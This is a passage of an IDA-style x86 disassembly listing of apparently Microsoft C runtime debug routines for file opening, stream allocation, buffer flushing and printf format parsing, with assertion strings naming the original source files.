mov eax, [ebp+var_C]
mov byte ptr [eax], 0Ah
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
jmp short loc_424500
; ---------------------------------------------------------------------------
loc_4244D5: ; CODE XREF: sub_4240D0+3E9j
; sub_4240D0+3F2j
push 1
push 0FFFFFFFFh
mov edx, [ebp+arg_0]
push edx
call sub_42B770
add esp, 0Ch
mov [ebp+var_20], eax
movsx eax, [ebp+var_1C]
cmp eax, 0Ah
jz short loc_424500
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0Dh
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_424500: ; CODE XREF: sub_4240D0+2B5j
; sub_4240D0:loc_4243DBj ...
jmp loc_4242E6
; ---------------------------------------------------------------------------
loc_424505: ; CODE XREF: sub_4240D0+21Fj
; sub_4240D0:loc_424359j
mov eax, [ebp+var_C]
sub eax, [ebp+arg_4]
mov [ebp+var_18], eax
loc_42450E: ; CODE XREF: sub_4240D0+184j
mov eax, [ebp+var_18]
loc_424511: ; CODE XREF: sub_4240D0+3Dj
; sub_4240D0+132j ...
mov esp, ebp
pop ebp
retn
sub_4240D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424520 proc near ; CODE XREF: sub_41CFE0+DBp
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
mov eax, ds:dword_4EEBBC
mov [ebp+var_1C], eax
mov [ebp+var_18], 0
mov [ebp+var_10], 0
loc_42453F: ; CODE XREF: sub_424520+47j
cmp [ebp+arg_0], 0
jnz short loc_424563
push offset aFilenameNull ; "filename != NULL"
push 0
push 47h
push offset a_open_c ; "_open.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_424563
int 3 ; Trap to Debugger
loc_424563: ; CODE XREF: sub_424520+23j
; sub_424520+40j
xor ecx, ecx
test ecx, ecx
jnz short loc_42453F
loc_424569: ; CODE XREF: sub_424520+71j
cmp [ebp+arg_4], 0
jnz short loc_42458D
push offset aModeNull ; "mode != NULL"
push 0
push 48h
push offset a_open_c ; "_open.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_42458D
int 3 ; Trap to Debugger
loc_42458D: ; CODE XREF: sub_424520+4Dj
; sub_424520+6Aj
xor edx, edx
test edx, edx
jnz short loc_424569
loc_424593: ; CODE XREF: sub_424520+9Bj
cmp [ebp+arg_C], 0
jnz short loc_4245B7
push offset dword_4394FC
push 0
push 49h
push offset a_open_c ; "_open.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_4245B7
int 3 ; Trap to Debugger
loc_4245B7: ; CODE XREF: sub_424520+77j
; sub_424520+94j
xor eax, eax
test eax, eax
jnz short loc_424593
mov ecx, [ebp+arg_4]
mov dl, [ecx]
mov [ebp+var_20], dl
cmp [ebp+var_20], 61h
jz short loc_4245FC
cmp [ebp+var_20], 72h
jz short loc_4245D9
cmp [ebp+var_20], 77h
jz short loc_4245EA
jmp short loc_42460E
; ---------------------------------------------------------------------------
loc_4245D9: ; CODE XREF: sub_424520+AFj
mov [ebp+var_14], 0
mov eax, [ebp+var_1C]
or al, 1
mov [ebp+var_1C], eax
jmp short loc_424615
; ---------------------------------------------------------------------------
loc_4245EA: ; CODE XREF: sub_424520+B5j
mov [ebp+var_14], 301h
mov ecx, [ebp+var_1C]
or ecx, 2
mov [ebp+var_1C], ecx
jmp short loc_424615
; ---------------------------------------------------------------------------
loc_4245FC: ; CODE XREF: sub_424520+A9j
mov [ebp+var_14], 109h
mov edx, [ebp+var_1C]
or edx, 2
mov [ebp+var_1C], edx
jmp short loc_424615
; ---------------------------------------------------------------------------
loc_42460E: ; CODE XREF: sub_424520+B7j
xor eax, eax
jmp loc_424836
; ---------------------------------------------------------------------------
loc_424615: ; CODE XREF: sub_424520+C8j
; sub_424520+DAj ...
mov [ebp+var_4], 1
loc_42461C: ; CODE XREF: sub_424520:loc_4247BAj
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz loc_4247BF
cmp [ebp+var_4], 0
jz loc_4247BF
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
mov [ebp+var_24], ecx
mov edx, [ebp+var_24]
sub edx, 2Bh
mov [ebp+var_24], edx
cmp [ebp+var_24], 49h
ja loc_4247B3
mov ecx, [ebp+var_24]
xor eax, eax
mov al, ds:byte_424865[ecx]
jmp ds:off_42483D[eax*4]
loc_42466B: ; DATA XREF: seg000:off_42483Do
mov edx, [ebp+var_14]
and edx, 2
test edx, edx
jz short loc_42467E
mov [ebp+var_4], 0
jmp short loc_4246A0
; ---------------------------------------------------------------------------
loc_42467E: ; CODE XREF: sub_424520+153j
mov eax, [ebp+var_14]
or al, 2
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
and ecx, 0FFFFFFFEh
mov [ebp+var_14], ecx
mov edx, [ebp+var_1C]
or dl, 80h
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
and al, 0FCh
mov [ebp+var_1C], eax
loc_4246A0: ; CODE XREF: sub_424520+15Cj
jmp loc_4247BA
; ---------------------------------------------------------------------------
loc_4246A5: ; CODE XREF: sub_424520+144j
; DATA XREF: seg000:00424851o
mov ecx, [ebp+var_14]
and ecx, 0C000h
test ecx, ecx
jz short loc_4246BB
mov [ebp+var_4], 0
jmp short loc_4246C4
; ---------------------------------------------------------------------------
loc_4246BB: ; CODE XREF: sub_424520+190j
mov edx, [ebp+var_14]
or dh, 80h
mov [ebp+var_14], edx
loc_4246C4: ; CODE XREF: sub_424520+199j
jmp loc_4247BA
; ---------------------------------------------------------------------------
loc_4246C9: ; CODE XREF: sub_424520+144j
; DATA XREF: seg000:0042485Do
mov eax, [ebp+var_14]
and eax, 0C000h
test eax, eax
jz short loc_4246DE
mov [ebp+var_4], 0
jmp short loc_4246E7
; ---------------------------------------------------------------------------
loc_4246DE: ; CODE XREF: sub_424520+1B3j
mov ecx, [ebp+var_14]
or ch, 40h
mov [ebp+var_14], ecx
loc_4246E7: ; CODE XREF: sub_424520+1BCj
jmp loc_4247BA
; ---------------------------------------------------------------------------
loc_4246EC: ; CODE XREF: sub_424520+144j
; DATA XREF: seg000:00424855o
cmp [ebp+var_18], 0
jz short loc_4246FB
mov [ebp+var_4], 0
jmp short loc_42470B
; ---------------------------------------------------------------------------
loc_4246FB: ; CODE XREF: sub_424520+1D0j
mov [ebp+var_18], 1
mov edx, [ebp+var_1C]
or dh, 40h
mov [ebp+var_1C], edx
loc_42470B: ; CODE XREF: sub_424520+1D9j
jmp loc_4247BA
; ---------------------------------------------------------------------------
loc_424710: ; CODE XREF: sub_424520+144j
; DATA XREF: seg000:00424859o
cmp [ebp+var_18], 0
jz short loc_42471F
mov [ebp+var_4], 0
jmp short loc_42472F
; ---------------------------------------------------------------------------
loc_42471F: ; CODE XREF: sub_424520+1F4j
mov [ebp+var_18], 1
mov eax, [ebp+var_1C]
and ah, 0BFh
mov [ebp+var_1C], eax
loc_42472F: ; CODE XREF: sub_424520+1FDj
jmp loc_4247BA
; ---------------------------------------------------------------------------
loc_424734: ; CODE XREF: sub_424520+144j
; DATA XREF: seg000:00424849o
cmp [ebp+var_10], 0
jz short loc_424743
mov [ebp+var_4], 0
jmp short loc_424753
; ---------------------------------------------------------------------------
loc_424743: ; CODE XREF: sub_424520+218j
mov [ebp+var_10], 1
mov ecx, [ebp+var_14]
or ecx, 20h
mov [ebp+var_14], ecx
loc_424753: ; CODE XREF: sub_424520+221j
jmp short loc_4247BA
; ---------------------------------------------------------------------------
loc_424755: ; CODE XREF: sub_424520+144j
; DATA XREF: seg000:00424845o
cmp [ebp+var_10], 0
jz short loc_424764
mov [ebp+var_4], 0
jmp short loc_424774
; ---------------------------------------------------------------------------
loc_424764: ; CODE XREF: sub_424520+239j
mov [ebp+var_10], 1
mov edx, [ebp+var_14]
or edx, 10h
mov [ebp+var_14], edx
loc_424774: ; CODE XREF: sub_424520+242j
jmp short loc_4247BA
; ---------------------------------------------------------------------------
loc_424776: ; CODE XREF: sub_424520+144j
; DATA XREF: seg000:0042484Do
mov eax, [ebp+var_14]
and eax, 1000h
test eax, eax
jz short loc_42478B
mov [ebp+var_4], 0
jmp short loc_424794
; ---------------------------------------------------------------------------
loc_42478B: ; CODE XREF: sub_424520+260j
mov ecx, [ebp+var_14]
or ch, 10h
mov [ebp+var_14], ecx
loc_424794: ; CODE XREF: sub_424520+269j
jmp short loc_4247BA
; ---------------------------------------------------------------------------
loc_424796: ; CODE XREF: sub_424520+144j
; DATA XREF: seg000:00424841o
mov edx, [ebp+var_14]
and edx, 40h
test edx, edx
jz short loc_4247A9
mov [ebp+var_4], 0
jmp short loc_4247B1
; ---------------------------------------------------------------------------
loc_4247A9: ; CODE XREF: sub_424520+27Ej
mov eax, [ebp+var_14]
or al, 40h
mov [ebp+var_14], eax
loc_4247B1: ; CODE XREF: sub_424520+287j
jmp short loc_4247BA
; ---------------------------------------------------------------------------
loc_4247B3: ; CODE XREF: sub_424520+133j
; sub_424520+144j
; DATA XREF: ...
mov [ebp+var_4], 0
loc_4247BA: ; CODE XREF: sub_424520:loc_4246A0j
; sub_424520:loc_4246C4j ...
jmp loc_42461C
; ---------------------------------------------------------------------------
loc_4247BF: ; CODE XREF: sub_424520+10Dj
; sub_424520+117j
push 1A4h
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42E310
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jge short loc_4247E5
xor eax, eax
jmp short loc_424836
; ---------------------------------------------------------------------------
loc_4247E5: ; CODE XREF: sub_424520+2BFj
mov ecx, ds:dword_4EE9C8
add ecx, 1
mov ds:dword_4EE9C8, ecx
mov edx, [ebp+arg_C]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_1C]
mov [eax+0Ch], ecx
mov edx, [ebp+var_C]
mov dword ptr [edx+4], 0
mov eax, [ebp+var_C]
mov dword ptr [eax], 0
mov ecx, [ebp+var_C]
mov dword ptr [ecx+8], 0
mov edx, [ebp+var_C]
mov dword ptr [edx+1Ch], 0
mov eax, [ebp+var_C]
mov ecx, [ebp+var_8]
mov [eax+10h], ecx
mov eax, [ebp+var_C]
loc_424836: ; CODE XREF: sub_424520+F0j
; sub_424520+2C3j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_424520 endp
; ---------------------------------------------------------------------------
off_42483D dd offset loc_42466B ; DATA XREF: sub_424520+144r
dd offset loc_424796
dd offset loc_424755
dd offset loc_424734
dd offset loc_424776
dd offset loc_4246A5
dd offset loc_4246EC
dd offset loc_424710
dd offset loc_4246C9
dd offset loc_4247B3
byte_424865 db 0 ; DATA XREF: sub_424520+13Er
dw 909h
dd 5 dup(9090909h), 9010909h, 3 dup(9090909h), 9040302h
dd 3 dup(9090909h), 9090605h, 2 dup(9090909h), 9090907h
dd 0CC080909h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4248B0 proc near ; CODE XREF: sub_41CFE0+B9p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
push 2
call sub_421A80
add esp, 4
mov [ebp+var_4], 0
jmp short loc_4248D9
; ---------------------------------------------------------------------------
loc_4248D0: ; CODE XREF: sub_4248B0+A8j
; sub_4248B0:loc_4249D9j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_4248D9: ; CODE XREF: sub_4248B0+1Ej
mov ecx, [ebp+var_4]
cmp ecx, ds:dword_4F0080
jge loc_4249DE
mov edx, [ebp+var_4]
mov eax, ds:dword_4EF06C
cmp dword ptr [eax+edx*4], 0
jz short loc_42496F
mov ecx, [ebp+var_4]
mov edx, ds:dword_4EF06C
mov eax, [edx+ecx*4]
mov ecx, [eax+0Ch]
and ecx, 83h
test ecx, ecx
jnz short loc_42496D
mov edx, [ebp+var_4]
mov eax, ds:dword_4EF06C
mov ecx, [eax+edx*4]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_41F0B0
add esp, 8
mov eax, [ebp+var_4]
mov ecx, ds:dword_4EF06C
mov edx, [ecx+eax*4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_42495D
mov ecx, [ebp+var_4]
mov edx, ds:dword_4EF06C
mov eax, [edx+ecx*4]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_41F120
add esp, 8
jmp loc_4248D0
; ---------------------------------------------------------------------------
loc_42495D: ; CODE XREF: sub_4248B0+8Dj
mov edx, [ebp+var_4]
mov eax, ds:dword_4EF06C
mov ecx, [eax+edx*4]
mov [ebp+var_8], ecx
jmp short loc_4249DE
; ---------------------------------------------------------------------------
loc_42496D: ; CODE XREF: sub_4248B0+5Dj
jmp short loc_4249D9
; ---------------------------------------------------------------------------
loc_42496F: ; CODE XREF: sub_4248B0+44j
push 55h
push offset aStream_c ; "stream.c"
push 2
push 38h
call sub_41AE60
add esp, 10h
mov edx, [ebp+var_4]
mov ecx, ds:dword_4EF06C
mov [ecx+edx*4], eax
mov edx, [ebp+var_4]
mov eax, ds:dword_4EF06C
cmp dword ptr [eax+edx*4], 0
jz short loc_4249D7
mov ecx, [ebp+var_4]
mov edx, ds:dword_4EF06C
mov eax, [edx+ecx*4]
add eax, 20h
push eax
call ds:dword_4F1444 ; InitializeCriticalSection
mov ecx, [ebp+var_4]
mov edx, ds:dword_4EF06C
mov eax, [edx+ecx*4]
add eax, 20h
push eax
call ds:dword_4F1364 ; RtlEnterCriticalSection
mov ecx, [ebp+var_4]
mov edx, ds:dword_4EF06C
mov eax, [edx+ecx*4]
mov [ebp+var_8], eax
loc_4249D7: ; CODE XREF: sub_4248B0+EAj
jmp short loc_4249DE
; ---------------------------------------------------------------------------
loc_4249D9: ; CODE XREF: sub_4248B0:loc_42496Dj
jmp loc_4248D0
; ---------------------------------------------------------------------------
loc_4249DE: ; CODE XREF: sub_4248B0+32j
; sub_4248B0+BBj ...
cmp [ebp+var_8], 0
jz short loc_424A1F
mov ecx, [ebp+var_8]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_8]
mov dword ptr [edx+0Ch], 0
mov eax, [ebp+var_8]
mov dword ptr [eax+8], 0
mov ecx, [ebp+var_8]
mov dword ptr [ecx], 0
mov edx, [ebp+var_8]
mov dword ptr [edx+1Ch], 0
mov eax, [ebp+var_8]
mov dword ptr [eax+10h], 0FFFFFFFFh
loc_424A1F: ; CODE XREF: sub_4248B0+132j
push 2
call sub_421B20
add esp, 4
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_4248B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424A30 proc near ; CODE XREF: sub_41D160+DEp
; sub_41D260+E5p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
loc_424A39: ; CODE XREF: sub_424A30+31j
cmp [ebp+arg_4], 0
jnz short loc_424A5D
push offset dword_4394FC
push 0
push 69h
push offset a_flsbuf_c ; "_flsbuf.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_424A5D
int 3 ; Trap to Debugger
loc_424A5D: ; CODE XREF: sub_424A30+Dj
; sub_424A30+2Aj
xor eax, eax
test eax, eax
jnz short loc_424A39
mov ecx, [ebp+arg_4]
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
mov eax, [edx+10h]
mov [ebp+var_10], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 82h
test edx, edx
jz short loc_424A8F
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 40h
test ecx, ecx
jz short loc_424AA5
loc_424A8F: ; CODE XREF: sub_424A30+50j
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
or al, 20h
mov ecx, [ebp+var_8]
mov [ecx+0Ch], eax
or eax, 0FFFFFFFFh
jmp loc_424C9D
; ---------------------------------------------------------------------------
loc_424AA5: ; CODE XREF: sub_424A30+5Dj
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
and eax, 1
test eax, eax
jz short loc_424AFC
mov ecx, [ebp+var_8]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
and eax, 10h
test eax, eax
jz short loc_424AE5
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
mov eax, [edx+8]
mov [ecx], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 0FFFFFFFEh
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
jmp short loc_424AFC
; ---------------------------------------------------------------------------
loc_424AE5: ; CODE XREF: sub_424A30+97j
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
or edx, 20h
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
or eax, 0FFFFFFFFh
jmp loc_424C9D
; ---------------------------------------------------------------------------
loc_424AFC: ; CODE XREF: sub_424A30+80j
; sub_424A30+B3j
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
or edx, 2
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 0FFFFFFEFh
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
mov ecx, [ebp+var_8]
mov dword ptr [ecx+4], 0
mov [ebp+var_4], 0
mov edx, [ebp+var_4]
mov [ebp+var_C], edx
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 10Ch
test ecx, ecx
jnz short loc_424B6F
cmp [ebp+var_8], offset dword_44FA90
jz short loc_424B53
cmp [ebp+var_8], offset dword_44FAB0
jnz short loc_424B63
loc_424B53: ; CODE XREF: sub_424A30+118j
mov edx, [ebp+var_10]
push edx
call sub_42E870
add esp, 4
test eax, eax
jnz short loc_424B6F
loc_424B63: ; CODE XREF: sub_424A30+121j
mov eax, [ebp+var_8]
push eax
call sub_42E200
add esp, 4
loc_424B6F: ; CODE XREF: sub_424A30+10Fj
; sub_424A30+131j
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 108h
test edx, edx
jz loc_424C5B
loc_424B83: ; CODE XREF: sub_424A30+187j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_8]
mov edx, [eax]
sub edx, [ecx+8]
test edx, edx
jge short loc_424BB3
push offset aInconsistentIo ; "(\"inconsistent IOB fields\", stream->_pt"...
push 0
push 0A0h
push offset a_flsbuf_c ; "_flsbuf.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_424BB3
int 3 ; Trap to Debugger
loc_424BB3: ; CODE XREF: sub_424A30+160j
; sub_424A30+180j
xor eax, eax
test eax, eax
jnz short loc_424B83
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
mov eax, [ecx]
sub eax, [edx+8]
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+var_8]
mov [eax], edx
mov ecx, [ebp+var_8]
mov edx, [ecx+18h]
sub edx, 1
mov eax, [ebp+var_8]
mov [eax+4], edx
cmp [ebp+var_4], 0
jle short loc_424C06
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+8]
push eax
mov ecx, [ebp+var_10]
push ecx
call sub_42DD30
add esp, 0Ch
mov [ebp+var_C], eax
jmp short loc_424C4E
; ---------------------------------------------------------------------------
loc_424C06: ; CODE XREF: sub_424A30+1B8j
cmp [ebp+var_10], 0FFFFFFFFh
jz short loc_424C29
mov edx, [ebp+var_10]
sar edx, 5
mov eax, [ebp+var_10]
and eax, 1Fh
imul eax, 24h
mov ecx, ds:dword_4EED20[edx*4]
add ecx, eax
mov [ebp+var_14], ecx
jmp short loc_424C30
; ---------------------------------------------------------------------------
loc_424C29: ; CODE XREF: sub_424A30+1DAj
mov [ebp+var_14], offset dword_4502B8
loc_424C30: ; CODE XREF: sub_424A30+1F7j
mov edx, [ebp+var_14]
movsx eax, byte ptr [edx+4]
and eax, 20h
test eax, eax
jz short loc_424C4E
push 2
push 0
mov ecx, [ebp+var_10]
push ecx
call sub_42B6E0
add esp, 0Ch
loc_424C4E: ; CODE XREF: sub_424A30+1D4j
; sub_424A30+20Cj
mov edx, [ebp+var_8]
mov eax, [edx+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_424C79
; ---------------------------------------------------------------------------
loc_424C5B: ; CODE XREF: sub_424A30+14Dj
mov [ebp+var_4], 1
mov edx, [ebp+var_4]
push edx
lea eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_10]
push ecx
call sub_42DD30
add esp, 0Ch
mov [ebp+var_C], eax
loc_424C79: ; CODE XREF: sub_424A30+229j
mov edx, [ebp+var_C]
cmp edx, [ebp+var_4]
jz short loc_424C95
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
or ecx, 20h
mov edx, [ebp+var_8]
mov [edx+0Ch], ecx
or eax, 0FFFFFFFFh
jmp short loc_424C9D
; ---------------------------------------------------------------------------
loc_424C95: ; CODE XREF: sub_424A30+24Fj
mov eax, [ebp+arg_0]
and eax, 0FFh
loc_424C9D: ; CODE XREF: sub_424A30+70j
; sub_424A30+C7j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_424A30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424CB0 proc near ; CODE XREF: sub_41D160+93p
; sub_41D260+9Ap ...
var_2A6 = word ptr -2A6h
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = dword ptr -28Ch
var_288 = byte ptr -288h
var_284 = dword ptr -284h
var_280 = dword ptr -280h
var_27C = dword ptr -27Ch
var_278 = dword ptr -278h
var_274 = dword ptr -274h
var_270 = dword ptr -270h
var_26C = dword ptr -26Ch
var_268 = dword ptr -268h
var_264 = dword ptr -264h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = dword ptr -258h
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = word ptr -248h
var_244 = dword ptr -244h
var_240 = byte ptr -240h
var_23F = byte ptr -23Fh
var_23C = dword ptr -23Ch
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = byte ptr -228h
var_29 = byte ptr -29h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 2A8h
push ebx
push esi
push edi
mov [ebp+var_24], 0
mov [ebp+var_22C], 0
mov [ebp+var_18], 0
loc_424CD4: ; CODE XREF: sub_424CB0:loc_4258C2j
mov eax, [ebp+arg_4]
mov cl, [eax]
mov byte ptr [ebp+var_28], cl
movsx edx, byte ptr [ebp+var_28]
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
test edx, edx
jz loc_4258C7
cmp [ebp+var_22C], 0
jl loc_4258C7
movsx ecx, byte ptr [ebp+var_28]
cmp ecx, 20h
jl short loc_424D26
movsx edx, byte ptr [ebp+var_28]
cmp edx, 78h
jg short loc_424D26
movsx eax, byte ptr [ebp+var_28]
movsx ecx, byte ptr [eax+439FE0h]
and ecx, 0Fh
mov [ebp+var_290], ecx
jmp short loc_424D30
; ---------------------------------------------------------------------------
loc_424D26: ; CODE XREF: sub_424CB0+55j
; sub_424CB0+5Ej
mov [ebp+var_290], 0
loc_424D30: ; CODE XREF: sub_424CB0+74j
mov edx, [ebp+var_290]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_18]
movsx edx, ds:byte_43A000[ecx+eax*8]
sar edx, 4
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
mov [ebp+var_294], eax
cmp [ebp+var_294], 7
ja loc_4258C2
mov ecx, [ebp+var_294]
jmp ds:off_4258D4[ecx*4]
loc_424D70: ; CODE XREF: sub_424CB0+332j
; DATA XREF: seg000:off_4258D4o
mov [ebp+var_1C], 0
mov edx, [ebp+var_28]
and edx, 0FFh
mov eax, ds:off_44FE2C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_424DED
lea edx, [ebp+var_22C]
push edx
mov eax, [ebp+arg_0]
push eax
movsx ecx, byte ptr [ebp+var_28]
push ecx
call sub_4259E0
add esp, 0Ch
mov edx, [ebp+arg_4]
mov al, [edx]
mov byte ptr [ebp+var_28], al
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
loc_424DBE: ; CODE XREF: sub_424CB0+13Bj
movsx edx, byte ptr [ebp+var_28]
test edx, edx
jnz short loc_424DE7
push offset aCh_t0 ; "ch != _T('\\0')"
push 0
push 186h
push offset aOutput_c ; "output.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_424DE7
int 3 ; Trap to Debugger
loc_424DE7: ; CODE XREF: sub_424CB0+114j
; sub_424CB0+134j
xor eax, eax
test eax, eax
jnz short loc_424DBE
loc_424DED: ; CODE XREF: sub_424CB0+E3j
lea ecx, [ebp+var_22C]
push ecx
mov edx, [ebp+arg_0]
push edx
movsx eax, byte ptr [ebp+var_28]
push eax
call sub_4259E0
add esp, 0Ch
jmp loc_4258C2
; ---------------------------------------------------------------------------
loc_424E0A: ; CODE XREF: sub_424CB0+B9j
; DATA XREF: seg000:004258D8o
mov [ebp+var_8], 0
mov ecx, [ebp+var_8]
mov [ebp+var_23C], ecx
mov edx, [ebp+var_23C]
mov [ebp+var_244], edx
mov eax, [ebp+var_244]
mov [ebp+var_10], eax
mov [ebp+var_4], 0
mov [ebp+var_234], 0FFFFFFFFh
mov [ebp+var_1C], 0
jmp loc_4258C2
; ---------------------------------------------------------------------------
loc_424E4C: ; CODE XREF: sub_424CB0+B9j
; DATA XREF: seg000:004258DCo
movsx ecx, byte ptr [ebp+var_28]
mov [ebp+var_298], ecx
mov edx, [ebp+var_298]
sub edx, 20h
mov [ebp+var_298], edx
cmp [ebp+var_298], 10h
ja short loc_424EB6
mov ecx, [ebp+var_298]
xor eax, eax
mov al, ds:byte_42590C[ecx]
jmp ds:off_4258F4[eax*4]
loc_424E83: ; CODE XREF: sub_424CB0+B9j
; DATA XREF: seg000:00425900o
mov edx, [ebp+var_4]
or edx, 4
mov [ebp+var_4], edx
jmp short loc_424EB6
; ---------------------------------------------------------------------------
loc_424E8E: ; CODE XREF: sub_424CB0+B9j
; sub_424CB0+1CCj
; DATA XREF: ...
mov eax, [ebp+var_4]
or al, 1
mov [ebp+var_4], eax
jmp short loc_424EB6
; ---------------------------------------------------------------------------
loc_424E98: ; CODE XREF: sub_424CB0+B9j
; sub_424CB0+1CCj
; DATA XREF: ...
mov ecx, [ebp+var_4]
or ecx, 2
mov [ebp+var_4], ecx
jmp short loc_424EB6
; ---------------------------------------------------------------------------
loc_424EA3: ; CODE XREF: sub_424CB0+B9j
; sub_424CB0+1CCj
; DATA XREF: ...
mov edx, [ebp+var_4]
or dl, 80h
mov [ebp+var_4], edx
jmp short loc_424EB6
; ---------------------------------------------------------------------------
loc_424EAE: ; CODE XREF: sub_424CB0+B9j
; sub_424CB0+1CCj
; DATA XREF: ...
mov eax, [ebp+var_4]
or al, 8
mov [ebp+var_4], eax
loc_424EB6: ; CODE XREF: sub_424CB0+B9j
; sub_424CB0+1BCj ...
jmp loc_4258C2
; ---------------------------------------------------------------------------
loc_424EBB: ; CODE XREF: sub_424CB0+B9j
; DATA XREF: seg000:004258E0o
movsx ecx, byte ptr [ebp+var_28]
cmp ecx, 2Ah
jnz short loc_424EF7
lea edx, [ebp+arg_8]
push edx
call sub_425AF0
add esp, 4
mov [ebp+var_244], eax
cmp [ebp+var_244], 0
jge short loc_424EF5
mov eax, [ebp+var_4]
or al, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_244]
neg ecx
mov [ebp+var_244], ecx
loc_424EF5: ; CODE XREF: sub_424CB0+22Dj
jmp short loc_424F0E
; ---------------------------------------------------------------------------
loc_424EF7: ; CODE XREF: sub_424CB0+212j
mov edx, [ebp+var_244]
imul edx, 0Ah
movsx eax, byte ptr [ebp+var_28]
lea ecx, [edx+eax-30h]
mov [ebp+var_244], ecx
loc_424F0E: ; CODE XREF: sub_424CB0:loc_424EF5j
jmp loc_4258C2
; ---------------------------------------------------------------------------
loc_424F13: ; CODE XREF: sub_424CB0+B9j
; DATA XREF: seg000:004258E4o
mov [ebp+var_234], 0
jmp loc_4258C2
; ---------------------------------------------------------------------------
